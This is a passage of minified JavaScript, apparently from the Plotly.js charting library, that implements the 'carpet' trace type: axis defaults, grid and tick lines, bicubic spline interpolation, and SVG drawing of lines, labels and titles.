e){var M=e(99798),P=e(7901).addOpacity,o=e(73972),L=e(71828),S=e(26218),d=e(96115),g=e(89426),t=e(15258),r=e(21994),f=e(4322);te.exports=function(u,s,y){var c=y.letter,b=y.font||{},h=M[c+"axis"];function i(N,G){return L.coerce(u,s,h,N,G)}function v(N,G){return L.coerce2(u,s,h,N,G)}y.name&&(s._name=y.name,s._id=y.name),i("autotypenumbers",y.autotypenumbersDflt);var T=i("type");if(T==="-"&&(y.data&&a(s,y.data),s.type==="-"?s.type="linear":T=u.type=s.type),i("smoothing"),i("cheatertype"),i("showticklabels"),i("labelprefix",c+" = "),i("labelsuffix"),i("showtickprefix"),i("showticksuffix"),i("separatethousands"),i("tickformat"),i("exponentformat"),i("minexponent"),i("showexponent"),i("categoryorder"),i("tickmode"),i("tickvals"),i("ticktext"),i("tick0"),i("dtick"),s.tickmode==="array"&&(i("arraytick0"),i("arraydtick")),i("labelpadding"),s._hovertitle=c,T==="date"){var w=o.getComponentMethod("calendars","handleDefaults");w(u,s,"calendar",y.calendar)}r(s,y.fullLayout),s.c2p=L.identity;var E=i("color",y.dfltColor),p=E===u.color?E:b.color,A=i("title.text");A&&(L.coerceFont(i,"title.font",{family:b.family,size:L.bigFont(b.size),color:p}),i("title.offset")),i("tickangle");var m=i("autorange",!s.isValidRange(u.range));m&&i("rangemode"),i("range"),s.cleanRange(),i("fixedrange"),S(u,s,i,T),g(u,s,i,T,y),d(u,s,i,T,y),t(u,s,i,{data:y.data,dataAttr:c});var n=v("gridcolor",P(E,.3)),C=v("gridwidth"),x=v("griddash"),I=i("showgrid");I||(delete s.gridcolor,delete s.gridwidth,delete s.griddash);var k=v("startlinecolor",E),B=v("startlinewidth",C),_=i("startline",s.showgrid||!!k||!!B);_||(delete s.startlinecolor,delete s.startlinewidth);var F=v("endlinecolor",E),O=v("endlinewidth",C),z=i("endline",s.showgrid||!!F||!!O);return z||(delete s.endlinecolor,delete s.endlinewidth),I?(i("minorgridcount"),i("minorgridwidth",C),i("minorgriddash",x),i("minorgridcolor",P(n,.06)),s.minorgridcount||(delete s.minorgridwidth,delete s.minorgriddash,delete s.minorgridcolor)):(delete s.gridcolor,delete s.gridwidth,delete s.griddash),s.showticklabels==="none"&&(delete s.tickfont,delete s.tickangle,delete s.showexponent,delete s.exponentformat,delete s.minexponent,delete s.tickformat,delete s.showticksuffix,delete s.showtickprefix),s.showticksuffix||delete s.ticksuffix,s.showtickprefix||delete s.tickprefix,i("tickmode"),s};function a(l,u){if(l.type==="-"){var s=l._id,y=s.charAt(0),c=y+"calendar",b=l[c];l.type=f(u,b,{autotypenumbers:l.autotypenumbers})}}},25281:function(te,Z,e){var M=e(89298),P=e(71828).isArray1D,o=e(53824),L=e(402),S=e(20347),d=e(83311),g=e(44807),t=e(4742),r=e(72505),f=e(68296),a=e(11435);te.exports=function(u,s){var y=M.getFromId(u,s.xaxis),c=M.getFromId(u,s.yaxis),b=s.aaxis,h=s.baxis,i=s.x,v=s.y,T=[];i&&P(i)&&T.push("x"),v&&P(v)&&T.push("y"),T.length&&f(s,b,h,"a","b",T);var w=s._a=s._a||s.a,E=s._b=s._b||s.b;i=s._x||s.x,v=s._y||s.y;var p={};if(s._cheater){var A=b.cheatertype==="index"?w.length:w,m=h.cheatertype==="index"?E.length:E;i=o(A,m,s.cheaterslope)}s._x=i=t(i),s._y=v=t(v),r(i,w,E),r(v,w,E),a(s),s.setScale();var n=L(i),C=L(v),x=.5*(n[1]-n[0]),I=.5*(n[1]+n[0]),k=.5*(C[1]-C[0]),B=.5*(C[1]+C[0]),_=1.3;return n=[I-x*_,I+x*_],C=[B-k*_,B+k*_],s._extremes[y._id]=M.findExtremes(y,n,{padded:!0}),s._extremes[c._id]=M.findExtremes(c,C,{padded:!0}),S(s,"a","b"),S(s,"b","a"),d(s,b),d(s,h),p.clipsegments=g(s._xctrl,s._yctrl,b,h),p.x=i,p.y=v,p.a=w,p.b=E,[p]}},44807:function(te){te.exports=function(e,M,P,o){var L,S,d,g=[],t=!!P.smoothing,r=!!o.smoothing,f=e[0].length-1,a=e.length-1;for(L=0,S=[],d=[];L<=f;L++)S[L]=e[0][L],d[L]=M[0][L];for(g.push({x:S,y:d,bicubic:t}),L=0,S=[],d=[];L<=a;L++)S[L]=e[L][f],d[L]=M[L][f];for(g.push({x:S,y:d,bicubic:r}),L=f,S=[],d=[];L>=0;L--)S[f-L]=e[a][L],d[f-L]=M[a][L];for(g.push({x:S,y:d,bicubic:t}),L=a,S=[],d=[];L>=0;L--)S[a-L]=e[L][0],d[a-L]=M[L][0];return g.push({x:S,y:d,bicubic:r}),g}},20347:function(te,Z,e){var M=e(89298),P=e(1426).extendFlat;te.exports=function(L,S,d){var g,t,r,f,a,l,u,s,y,c,b,h,i,v,T=L["_"+S],w=L[S+"axis"],E=w._gridlines=[],p=w._minorgridlines=[],A=w._boundarylines=[],m=L["_"+d],n=L[d+"axis"];w.tickmode==="array"&&(w.tickvals=T.slice());var C=L._xctrl,x=L._yctrl,I=C[0].length,k=C.length,B=L._a.length,_=L._b.length;M.prepTicks(w),w.tickmode==="array"&&delete w.tickvals;var F=w.smoothing?3:1;function O(N){var G,J,q,ne,fe,X,W,V,Y,Q,ie,j,K=[],oe=[],re={};if(S==="b")for(J=L.b2j(N),q=Math.floor(Math.max(0,Math.min(_-2,J))),ne=J-q,re.length=_,re.crossLength=B,re.xy=function(le){return L.evalxy([],le,J)},re.dxy=function(le,pe){return L.dxydi([],le,q,pe,ne)},G=0;G<B;G++)X=Math.min(B-2,G),W=G-X,V=L.evalxy([],G,J),n.smoothing&&G>0&&(Y=L.dxydi([],G-1,q,0,ne),K.push(fe[0]+Y[0]/3),oe.push(fe[1]+Y[1]/3),Q=L.dxydi([],G-1,q,1,ne),K.push(V[0]-Q[0]/3),oe.push(V[1]-Q[1]/3)),K.push(V[0]),oe.push(V[1]),fe=V;else for(G=L.a2i(N),X=Math.floor(Math.max(0,Math.min(B-2,G))),W=G-X,re.length=B,re.crossLength=_,re.xy=function(le){return L.evalxy([],G,le)},re.dxy=function(le,pe){return L.dxydj([],X,le,W,pe)},J=0;J<_;J++)q=Math.min(_-2,J),ne=J-q,V=L.evalxy([],G,J),n.smoothing&&J>0&&(ie=L.dxydj([],X,J-1,W,0),K.push(fe[0]+ie[0]/3),oe.push(fe[1]+ie[1]/3),j=L.dxydj([],X,J-1,W,1),K.push(V[0]-j[0]/3),oe.push(V[1]-j[1]/3)),K.push(V[0]),oe.push(V[1]),fe=V;return re.axisLetter=S,re.axis=w,re.crossAxis=n,re.value=N,re.constvar=d,re.index=s,re.x=K,re.y=oe,re.smoothing=n.smoothing,re}function z(N){var G,J,q,ne,fe,X=[],W=[],V={};if(V.length=T.length,V.crossLength=m.length,S==="b")for(q=Math.max(0,Math.min(_-2,N)),fe=Math.min(1,Math.max(0,N-q)),V.xy=function(Y){return L.evalxy([],Y,N)},V.dxy=function(Y,Q){return L.dxydi([],Y,q,Q,fe)},G=0;G<I;G++)X[G]=C[N*F][G],W[G]=x[N*F][G];else for(J=Math.max(0,Math.min(B-2,N)),ne=Math.min(1,Math.max(0,N-J)),V.xy=function(Y){return L.evalxy([],N,Y)},V.dxy=function(Y,Q){return L.dxydj([],J,Y,ne,Q)},G=0;G<k;G++)X[G]=C[G][N*F],W[G]=x[G][N*F];return V.axisLetter=S,V.axis=w,V.crossAxis=n,V.value=T[N],V.constvar=d,V.index=N,V.x=X,V.y=W,V.smoothing=n.smoothing,V}if(w.tickmode==="array"){for(f=5e-15,a=[Math.floor((T.length-1-w.arraytick0)/w.arraydtick*(1+f)),Math.ceil(-w.arraytick0/w.arraydtick/(1+f))].sort(function(N,G){return N-G}),l=a[0]-1,u=a[1]+1,s=l;s<u;s++)t=w.arraytick0+w.arraydtick*s,!(t<0||t>T.length-1)&&E.push(P(z(t),{color:w.gridcolor,width:w.gridwidth,dash:w.griddash}));for(s=l;s<u;s++)if(r=w.arraytick0+w.arraydtick*s,b=Math.min(r+w.arraydtick,T.length-1),!(r<0||r>T.length-1)&&!(b<0||b>T.length-1))for(h=T[r],i=T[b],g=0;g<w.minorgridcount;g++)v=b-r,!(v<=0)&&(c=h+(i-h)*(g+1)/(w.minorgridcount+1)*(w.arraydtick/v),!(c<T[0]||c>T[T.length-1])&&p.push(P(O(c),{color:w.minorgridcolor,width:w.minorgridwidth,dash:w.minorgriddash})));w.startline&&A.push(P(z(0),{color:w.startlinecolor,width:w.startlinewidth})),w.endline&&A.push(P(z(T.length-1),{color:w.endlinecolor,width:w.endlinewidth}))}else{for(f=5e-15,a=[Math.floor((T[T.length-1]-w.tick0)/w.dtick*(1+f)),Math.ceil((T[0]-w.tick0)/w.dtick/(1+f))].sort(function(N,G){return N-G}),l=a[0],u=a[1],s=l;s<=u;s++)y=w.tick0+w.dtick*s,E.push(P(O(y),{color:w.gridcolor,width:w.gridwidth,dash:w.griddash}));for(s=l-1;s<u+1;s++)for(y=w.tick0+w.dtick*s,g=0;g<w.minorgridcount;g++)c=y+w.dtick*(g+1)/(w.minorgridcount+1),!(c<T[0]||c>T[T.length-1])&&p.push(P(O(c),{color:w.minorgridcolor,width:w.minorgridwidth,dash:w.minorgriddash}));w.startline&&A.push(P(O(T[0]),{color:w.startlinecolor,width:w.startlinewidth})),w.endline&&A.push(P(O(T[T.length-1]),{color:w.endlinecolor,width:w.endlinewidth}))}}},83311:function(te,Z,e){var M=e(89298),P=e(1426).extendFlat;te.exports=function(L,S){var d,g,t,r,f,a=S._labels=[],l=S._gridlines;for(d=0;d<l.length;d++)f=l[d],["start","both"].indexOf(S.showticklabels)!==-1&&(g=M.tickText(S,f.value),P(g,{prefix:t,suffix:r,endAnchor:!0,xy:f.xy(0),dxy:f.dxy(0,0),axis:f.axis,length:f.crossAxis.length,font:f.axis.tickfont,isFirst:d===0,isLast:d===l.length-1}),a.push(g)),["end","both"].indexOf(S.showticklabels)!==-1&&(g=M.tickText(S,f.value),P(g,{endAnchor:!1,xy:f.xy(f.crossLength-1),dxy:f.dxy(f.crossLength-2,1),axis:f.axis,length:f.crossAxis.length,font:f.axis.tickfont,isFirst:d===0,isLast:d===l.length-1}),a.push(g))}},42048:function(te){var Z=.5;te.exports=function(M,P,o,L){var S=M[0]-P[0],d=M[1]-P[1],g=o[0]-P[0],t=o[1]-P[1],r=Math.pow(S*S+d*d,Z/2),f=Math.pow(g*g+t*t,Z/2),a=(f*f*S-r*r*g)*L,l=(f*f*d-r*r*t)*L,u=f*(r+f)*3,s=r*(r+f)*3;return[[P[0]+(u&&a/u),P[1]+(u&&l/u)],[P[0]-(s&&a/s),P[1]-(s&&l/s)]]}},53824:function(te,Z,e){var M=e(71828).isArrayOrTypedArray;te.exports=function(P,o,L){var S,d,g,t,r,f,a=[],l=M(P)?P.length:P,u=M(o)?o.length:o,s=M(P)?P:null,y=M(o)?o:null;s&&(g=(s.length-1)/(s[s.length-1]-s[0])/(l-1)),y&&(t=(y.length-1)/(y[y.length-1]-y[0])/(u-1));var c,b=1/0,h=-1/0;for(d=0;d<u;d++)for(a[d]=[],f=y?(y[d]-y[0])*t:d/(u-1),S=0;S<l;S++)r=s?(s[S]-s[0])*g:S/(l-1),c=r-f*L,b=Math.min(c,b),h=Math.max(c,h),a[d][S]=c;var i=1/(h-b),v=-b*i;for(d=0;d<u;d++)for(S=0;S<l;S++)a[d][S]=i*a[d][S]+v;return a}},45664:function(te,Z,e){var M=e(42048),P=e(71828).ensureArray;function o(L,S,d){var g=-.5*d[0]+1.5*S[0],t=-.5*d[1]+1.5*S[1];return[(2*g+L[0])/3,(2*t+L[1])/3]}te.exports=function(S,d,g,t,r,f){var a,l,u,s,y,c,b,h,i,v,T=g[0].length,w=g.length,E=r?3*T-2:T,p=f?3*w-2:w;for(S=P(S,p),d=P(d,p),u=0;u<p;u++)S[u]=P(S[u],E),d[u]=P(d[u],E);for(l=0,s=0;l<w;l++,s+=f?3:1)for(y=S[s],c=d[s],b=g[l],h=t[l],a=0,u=0;a<T;a++,u+=r?3:1)y[u]=b[a],c[u]=h[a];if(r)for(l=0,s=0;l<w;l++,s+=f?3:1){for(a=1,u=3;a<T-1;a++,u+=3)i=M([g[l][a-1],t[l][a-1]],[g[l][a],t[l][a]],[g[l][a+1],t[l][a+1]],r),S[s][u-1]=i[0][0],d[s][u-1]=i[0][1],S[s][u+1]=i[1][0],d[s][u+1]=i[1][1];v=o([S[s][0],d[s][0]],[S[s][2],d[s][2]],[S[s][3],d[s][3]]),S[s][1]=v[0],d[s][1]=v[1],v=o([S[s][E-1],d[s][E-1]],[S[s][E-3],d[s][E-3]],[S[s][E-4],d[s][E-4]]),S[s][E-2]=v[0],d[s][E-2]=v[1]}if(f)for(u=0;u<E;u++){for(s=3;s<p-3;s+=3)i=M([S[s-3][u],d[s-3][u]],[S[s][u],d[s][u]],[S[s+3][u],d[s+3][u]],f),S[s-1][u]=i[0][0],d[s-1][u]=i[0][1],S[s+1][u]=i[1][0],d[s+1][u]=i[1][1];v=o([S[0][u],d[0][u]],[S[2][u],d[2][u]],[S[3][u],d[3][u]]),S[1][u]=v[0],d[1][u]=v[1],v=o([S[p-1][u],d[p-1][u]],[S[p-3][u],d[p-3][u]],[S[p-4][u],d[p-4][u]]),S[p-2][u]=v[0],d[p-2][u]=v[1]}if(r&&f)for(s=1;s<p;s+=(s+1)%3===0?2:1){for(u=3;u<E-3;u+=3)i=M([S[s][u-3],d[s][u-3]],[S[s][u],d[s][u]],[S[s][u+3],d[s][u+3]],r),S[s][u-1]=.5*(S[s][u-1]+i[0][0]),d[s][u-1]=.5*(d[s][u-1]+i[0][1]),S[s][u+1]=.5*(S[s][u+1]+i[1][0]),d[s][u+1]=.5*(d[s][u+1]+i[1][1]);v=o([S[s][0],d[s][0]],[S[s][2],d[s][2]],[S[s][3],d[s][3]]),S[s][1]=.5*(S[s][1]+v[0]),d[s][1]=.5*(d[s][1]+v[1]),v=o([S[s][E-1],d[s][E-1]],[S[s][E-3],d[s][E-3]],[S[s][E-4],d[s][E-4]]),S[s][E-2]=.5*(S[s][E-2]+v[0]),d[s][E-2]=.5*(d[s][E-2]+v[1])}return[S,d]}},35509:function(te){te.exports={RELATIVE_CULL_TOLERANCE:1e-6}},54495:function(te){te.exports=function(Z,e,M){return e&&M?function(P,o,L,S,d){P||(P=[]);var g,t,r,f,a,l;o*=3,L*=3;var u=S*S,s=1-S,y=s*s,c=s*S*2,b=-3*y,h=3*(y-c),i=3*(c-u),v=3*u,T=d*d,w=T*d,E=1-d,p=E*E,A=p*E;for(l=0;l<Z.length;l++)a=Z[l],g=b*a[L][o]+h*a[L][o+1]+i*a[L][o+2]+v*a[L][o+3],t=b*a[L+1][o]+h*a[L+1][o+1]+i*a[L+1][o+2]+v*a[L+1][o+3],r=b*a[L+2][o]+h*a[L+2][o+1]+i*a[L+2][o+2]+v*a[L+2][o+3],f=b*a[L+3][o]+h*a[L+3][o+1]+i*a[L+3][o+2]+v*a[L+3][o+3],P[l]=A*g+3*(p*d*t+E*T*r)+w*f;return P}:e?function(P,o,L,S,d){P||(P=[]);var g,t,r,f;o*=3;var a=S*S,l=1-S,u=l*l,s=l*S*2,y=-3*u,c=3*(u-s),b=3*(s-a),h=3*a,i=1-d;for(r=0;r<Z.length;r++)f=Z[r],g=y*f[L][o]+c*f[L][o+1]+b*f[L][o+2]+h*f[L][o+3],t=y*f[L+1][o]+c*f[L+1][o+1]+b*f[L+1][o+2]+h*f[L+1][o+3],P[r]=i*g+d*t;return P}:M?function(P,o,L,S,d){P||(P=[]);var g,t,r,f,a,l;L*=3;var u=d*d,s=u*d,y=1-d,c=y*y,b=c*y;for(a=0;a<Z.length;a++)l=Z[a],g=l[L][o+1]-l[L][o],t=l[L+1][o+1]-l[L+1][o],r=l[L+2][o+1]-l[L+2][o],f=l[L+3][o+1]-l[L+3][o],P[a]=b*g+3*(c*d*t+y*u*r)+s*f;return P}:function(P,o,L,S,d){P||(P=[]);var g,t,r,f,a=1-d;for(r=0;r<Z.length;r++)f=Z[r],g=f[L][o+1]-f[L][o],t=f[L+1][o+1]-f[L+1][o],P[r]=a*g+d*t;return P}}},73057:function(te){te.exports=function(Z,e,M){return e&&M?function(P,o,L,S,d){P||(P=[]);var g,t,r,f,a,l;o*=3,L*=3;var u=S*S,s=u*S,y=1-S,c=y*y,b=c*y,h=d*d,i=1-d,v=i*i,T=i*d*2,w=-3*v,E=3*(v-T),p=3*(T-h),A=3*h;for(l=0;l<Z.length;l++)a=Z[l],g=w*a[L][o]+E*a[L+1][o]+p*a[L+2][o]+A*a[L+3][o],t=w*a[L][o+1]+E*a[L+1][o+1]+p*a[L+2][o+1]+A*a[L+3][o+1],r=w*a[L][o+2]+E*a[L+1][o+2]+p*a[L+2][o+2]+A*a[L+3][o+2],f=w*a[L][o+3]+E*a[L+1][o+3]+p*a[L+2][o+3]+A*a[L+3][o+3],P[l]=b*g+3*(c*S*t+y*u*r)+s*f;return P}:e?function(P,o,L,S,d){P||(P=[]);var g,t,r,f,a,l;o*=3;var u=d*d,s=u*d,y=1-d,c=y*y,b=c*y;for(a=0;a<Z.length;a++)l=Z[a],g=l[L+1][o]-l[L][o],t=l[L+1][o+1]-l[L][o+1],r=l[L+1][o+2]-l[L][o+2],f=l[L+1][o+3]-l[L][o+3],P[a]=b*g+3*(c*d*t+y*u*r)+s*f;return P}:M?function(P,o,L,S,d){P||(P=[]);var g,t,r,f;L*=3;var a=1-S,l=d*d,u=1-d,s=u*u,y=u*d*2,c=-3*s,b=3*(s-y),h=3*(y-l),i=3*l;for(r=0;r<Z.length;r++)f=Z[r],g=c*f[L][o]+b*f[L+1][o]+h*f[L+2][o]+i*f[L+3][o],t=c*f[L][o+1]+b*f[L+1][o+1]+h*f[L+2][o+1]+i*f[L+3][o+1],P[r]=a*g+S*t;return P}:function(P,o,L,S,d){P||(P=[]);var g,t,r,f,a=1-S;for(r=0;r<Z.length;r++)f=Z[r],g=f[L+1][o]-f[L][o],t=f[L+1][o+1]-f[L][o+1],P[r]=a*g+S*t;return P}}},20349:function(te){te.exports=function(Z,e,M,P,o){var L=e-2,S=M-2;return P&&o?function(d,g,t){d||(d=[]);var r,f,a,l,u,s,y=Math.max(0,Math.min(Math.floor(g),L)),c=Math.max(0,Math.min(Math.floor(t),S)),b=Math.max(0,Math.min(1,g-y)),h=Math.max(0,Math.min(1,t-c));y*=3,c*=3;var i=b*b,v=i*b,T=1-b,w=T*T,E=w*T,p=h*h,A=p*h,m=1-h,n=m*m,C=n*m;for(s=0;s<Z.length;s++)u=Z[s],r=E*u[c][y]+3*(w*b*u[c][y+1]+T*i*u[c][y+2])+v*u[c][y+3],f=E*u[c+1][y]+3*(w*b*u[c+1][y+1]+T*i*u[c+1][y+2])+v*u[c+1][y+3],a=E*u[c+2][y]+3*(w*b*u[c+2][y+1]+T*i*u[c+2][y+2])+v*u[c+2][y+3],l=E*u[c+3][y]+3*(w*b*u[c+3][y+1]+T*i*u[c+3][y+2])+v*u[c+3][y+3],d[s]=C*r+3*(n*h*f+m*p*a)+A*l;return d}:P?function(d,g,t){d||(d=[]);var r=Math.max(0,Math.min(Math.floor(g),L)),f=Math.max(0,Math.min(Math.floor(t),S)),a=Math.max(0,Math.min(1,g-r)),l=Math.max(0,Math.min(1,t-f)),u,s,y,c,b,h;r*=3;var i=a*a,v=i*a,T=1-a,w=T*T,E=w*T,p=1-l;for(b=0;b<Z.length;b++)h=Z[b],u=p*h[f][r]+l*h[f+1][r],s=p*h[f][r+1]+l*h[f+1][r+1],y=p*h[f][r+2]+l*h[f+1][r+1],c=p*h[f][r+3]+l*h[f+1][r+1],d[b]=E*u+3*(w*a*s+T*i*y)+v*c;return d}:o?function(d,g,t){d||(d=[]);var r=Math.max(0,Math.min(Math.floor(g),L)),f=Math.max(0,Math.min(Math.floor(t),S)),a=Math.max(0,Math.min(1,g-r)),l=Math.max(0,Math.min(1,t-f)),u,s,y,c,b,h;f*=3;var i=l*l,v=i*l,T=1-l,w=T*T,E=w*T,p=1-a;for(b=0;b<Z.length;b++)h=Z[b],u=p*h[f][r]+a*h[f][r+1],s=p*h[f+1][r]+a*h[f+1][r+1],y=p*h[f+2][r]+a*h[f+2][r+1],c=p*h[f+3][r]+a*h[f+3][r+1],d[b]=E*u+3*(w*l*s+T*i*y)+v*c;return d}:function(d,g,t){d||(d=[]);var r=Math.max(0,Math.min(Math.floor(g),L)),f=Math.max(0,Math.min(Math.floor(t),S)),a=Math.max(0,Math.min(1,g-r)),l=Math.max(0,Math.min(1,t-f)),u,s,y,c,b=1-l,h=1-a;for(y=0;y<Z.length;y++)c=Z[y],u=h*c[f][r]+a*c[f][r+1],s=h*c[f+1][r]+a*c[f+1][r+1],d[y]=b*u+l*s;return d}}},92087:function(te,Z,e){var M=e(71828),P=e(19237),o=e(13145),L=e(99798),S=e(22399);te.exports=function(g,t,r,f){function a(s,y){return M.coerce(g,t,L,s,y)}t._clipPathId="clip"+t.uid+"carpet";var l=a("color",S.defaultLine);if(M.coerceFont(a,"font"),a("carpet"),o(g,t,f,a,l),!t.a||!t.b){t.visible=!1;return}t.a.length<3&&(t.aaxis.smoothing=0),t.b.length<3&&(t.baxis.smoothing=0);var u=P(g,t,a);u||(t.visible=!1),t._cheater&&a("cheaterslope")}},21462:function(te,Z,e){te.exports={attributes:e(99798),supplyDefaults:e(92087),plot:e(89740),calc:e(25281),animatable:!0,isContainer:!0,moduleType:"trace",name:"carpet",basePlotModule:e(93612),categories:["cartesian","svg","carpet","carpetAxis","notLegendIsolatable","noMultiCategory","noHover","noSortingByValue"],meta:{}}},22882:function(te){te.exports=function(Z,e){for(var M=Z._fullData.length,P,o=0;o<M;o++){var L=Z._fullData[o];if(L.index!==e.index&&L.type==="carpet"&&(P||(P=L),L.carpet===e.carpet))return L}return P}},67961:function(te){te.exports=function(e,M,P){if(e.length===0)return"";var o,L=[],S=P?3:1;for(o=0;o<e.length;o+=S)L.push(e[o]+","+M[o]),P&&o<e.length-S&&(L.push("C"),L.push([e[o+1]+","+M[o+1],e[o+2]+","+M[o+2]+" "].join(" ")));return L.join(P?"":"L")}},27669:function(te,Z,e){var M=e(71828).isArrayOrTypedArray;te.exports=function(o,L,S){var d;for(M(o)?o.length>L.length&&(o=o.slice(0,L.length)):o=[],d=0;d<L.length;d++)o[d]=S(L[d]);return o}},11651:function(te){te.exports=function(e,M,P,o,L,S){var d=L[0]*e.dpdx(M),g=L[1]*e.dpdy(P),t=1,r=1;if(S){var f=Math.sqrt(L[0]*L[0]+L[1]*L[1]),a=Math.sqrt(S[0]*S[0]+S[1]*S[1]),l=(L[0]*S[0]+L[1]*S[1])/f/a;r=Math.max(0,l)}var u=Math.atan2(g,d)*180/Math.PI;return u<-90?(u+=180,t=-t):u>90&&(u-=180,t=-t),{angle:u,flip:t,p:e.c2p(o,M,P),offsetMultplier:r}}},89740:function(te,Z,e){var M=e(39898),P=e(91424),o=e(27669),L=e(67961),S=e(11651),d=e(63893),g=e(71828),t=g.strRotate,r=g.strTranslate,f=e(18783);te.exports=function(i,v,T,w){var E=i._context.staticPlot,p=v.xaxis,A=v.yaxis,m=i._fullLayout,n=m._clips;g.makeTraceGroups(w,T,"trace").each(function(C){var x=M.select(this),I=C[0],k=I.trace,B=k.aaxis,_=k.baxis,F=g.ensureSingle(x,"g","minorlayer"),O=g.ensureSingle(x,"g","majorlayer"),z=g.ensureSingle(x,"g","boundarylayer"),N=g.ensureSingle(x,"g","labellayer");x.style("opacity",k.opacity),l(p,A,O,B,"a",B._gridlines,!0),l(p,A,O,_,"b",_._gridlines,!0),l(p,A,F,B,"a",B._minorgridlines,!0),l(p,A,F,_,"b",_._minorgridlines,!0),l(p,A,z,B,"a-boundary",B._boundarylines,E),l(p,A,z,_,"b-boundary",_._boundarylines,E);var G=u(i,p,A,k,I,N,B._labels,"a-label"),J=u(i,p,A,k,I,N,_._labels,"b-label");s(i,N,k,I,p,A,G,J),a(k,I,n,p,A)})};function a(h,i,v,T,w){var E,p,A,m,n=v.select("#"+h._clipPathId);n.size()||(n=v.append("clipPath").classed("carpetclip",!0));var C=g.ensureSingle(n,"path","carpetboundary"),x=i.clipsegments,I=[];for(m=0;m<x.length;m++)E=x[m],p=o([],E.x,T.c2p),A=o([],E.y,w.c2p),I.push(L(p,A,E.bicubic));var k="M"+I.join("L")+"Z";n.attr("id",h._clipPathId),C.attr("d",k)}function l(h,i,v,T,w,E,p){var A="const-"+w+"-lines",m=v.selectAll("."+A).data(E);m.enter().append("path").classed(A,!0).style("vector-effect",p?"none":"non-scaling-stroke"),m.each(function(n){var C=n,x=C.x,I=C.y,k=o([],x,h.c2p),B=o([],I,i.c2p),_="M"+L(k,B,C.smoothing),F=M.select(this);F.attr("d",_).style("stroke-width",C.width).style("stroke",C.color).style("stroke-dasharray",P.dashStyle(C.dash,C.width)).style("fill","none")}),m.exit().remove()}function u(h,i,v,T,w,E,p,A){var m=E.selectAll("text."+A).data(p);m.enter().append("text").classed(A,!0);var n=0,C={};return m.each(function(x,I){var k;if(x.axis.tickangle==="auto")k=S(T,i,v,x.xy,x.dxy);else{var B=(x.axis.tickangle+180)*Math.PI/180;k=S(T,i,v,x.xy,[Math.cos(B),Math.sin(B)])}I||(C={angle:k.angle,flip:k.flip});var _=(x.endAnchor?-1:1)*k.flip,F=M.select(this).attr({"text-anchor":_>0?"start":"end","data-notex":1}).call(P.font,x.font).text(x.text).call(d.convertToTspans,h),O=P.bBox(this);F.attr("transform",r(k.p[0],k.p[1])+t(k.angle)+r(x.axis.labelpadding*_,O.height*.3)),n=Math.max(n,O.width+x.axis.labelpadding)}),m.exit().remove(),C.maxExtent=n,C}function s(h,i,v,T,w,E,p,A){var m,n,C,x,I=g.aggNums(Math.min,null,v.a),k=g.aggNums(Math.max,null,v.a),B=g.aggNums(Math.min,null,v.b),_=g.aggNums(Math.max,null,v.b);m=.5*(I+k),n=B,C=v.ab2xy(m,n,!0),x=v.dxyda_rough(m,n),p.angle===void 0&&g.extendFlat(p,S(v,w,E,C,v.dxydb_rough(m,n))),b(h,i,v,T,C,x,v.aaxis,w,E,p,"a-title"),m=I,n=.5*(B+_),C=v.ab2xy(m,n,!0),x=v.dxydb_rough(m,n),A.angle===void 0&&g.extendFlat(A,S(v,w,E,C,v.dxyda_rough(m,n))),b(h,i,v,T,C,x,v.baxis,w,E,A,"b-title")}var y=f.LINE_SPACING,c=(1-f.MID_SHIFT)/y+1;function b(h,i,v,T,w,E,p,A,m,n,C){var x=[];p.title.text&&x.push(p.title.text);var I=i.selectAll("text."+C).data(x),k=n.maxExtent;I.enter().append("text").classed(C,!0),I.each(function(){var B=S(v,A,m,w,E);["start","both"].indexOf(p.showticklabels)===-1&&(k=0);var _=p.title.font.size;k+=_+p.title.offset;var F=n.angle+(n.flip<0?180:0),O=(F-B.angle+450)%360,z=O>90&&O<270,N=M.select(this);N.text(p.title.text).call(d.convertToTspans,h),z&&(k=(-d.lineCount(N)+c)*y*_-k),N.attr("transform",r(B.p[0],B.p[1])+t(B.angle)+r(0,k)).attr("text-anchor","middle").call(P.font,p.title.font)}),I.exit().remove()}},11435:function(te,Z,e){var M=e(35509),P=e(65888).findBin,o=e(45664),L=e(20349),S=e(54495),d=e(73057);te.exports=function(t){var r=t._a,f=t._b,a=r.length,l=f.length,u=t.aaxis,s=t.baxis,y=r[0],c=r[a-1],b=f[0],h=f[l-1],i=r[r.length-1]-r[0],v=f[f.length-1]-f[0],T=i*M.RELATIVE_CULL_TOLERANCE,w=v*M.RELATIVE_CULL_TOLERANCE;y-=T,c+=T,b-=w,h+=w,t.isVisible=function(E,p){return E>y&&E<c&&p>b&&p<h},t.isOccluded=function(E,p){return E<y||E>c||p<b||p>h},t.setScale=function(){var E=t._x,p=t._y,A=o(t._xctrl,t._yctrl,E,p,u.smoothing,s.smoothing);t._xctrl=A[0],t._yctrl=A[1],t.evalxy=L([t._xctrl,t._yctrl],a,l,u.smoothing,s.smoothing),t.dxydi=S([t._xctrl,t._yctrl],u.smoothing,s.smoothing),t.dxydj=d([t._xctrl,t._yctrl],u.smoothing,s.smoothing)},t.i2a=function(E){var p=Math.max(0,Math.floor(E[0]),a-2),A=E[0]-p;return(1-A)*r[p]+A*r[p+1]},t.j2b=function(E){var p=Math.max(0,Math.floor(E[1]),a-2),A=E[1]-p;return(1-A)*f[p]+A*f[p+1]},t.ij2ab=function(E){return[t.i2a(E[0]),t.j2b(E[1])]},t.a2i=function(E){var p=Math.max(0,Math.min(P(E,r),a-2)),A=r[p],m=r[p+1];return Math.max(0,Math.min(a-1,p+(E-A)/(m-A)))},t.b2j=function(E){var p=Math.max(0,Math.min(P(E,f),l-2)),A=f[p],m=f[p+1];return Math.max(0,Math.min(l-1,p+(E-A)/(m-A)))},t.ab2ij=function(E){return[t.a2i(E[0]),t.b2j(E[1])]},t.i2c=function(E,p){return t.evalxy([],E,p)},t.ab2xy=function(E,p,A){if(!A&&(E<r[0]||E>r[a-1]|p<f[0]||p>f[l-1]))return[!1,!1];var m=t.a2i(E),n=t.b2j(p),C=t.evalxy([],m,n);if(A){var 